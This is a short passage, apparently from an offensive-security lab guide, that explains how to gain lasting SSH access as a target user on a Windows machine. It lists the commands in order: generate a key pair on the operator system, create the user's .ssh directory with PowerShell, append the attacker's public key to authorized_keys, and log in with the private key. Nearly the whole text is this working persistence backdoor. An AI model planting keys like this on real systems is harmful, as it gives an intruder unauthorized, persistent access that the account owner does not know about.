This provides SSH access as the target user.
- Generate a key pair on the operator system
- Create the user's
.sshdirectory on the target - Append the public key
- Connect with the private key
Generate a key pair:
ssh-keygen -t ed25519 -f ootw_ed25519 -N ""
Create the target user's SSH directory:
New-Item -ItemType Directory -Path "$env:USERPROFILE\.ssh" -Force
Append the public key:
Add-Content -Path "$env:USERPROFILE\.ssh\authorized_keys" -Value "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... ootw-lab"
Connect:
ssh -i ootw_ed25519 user@target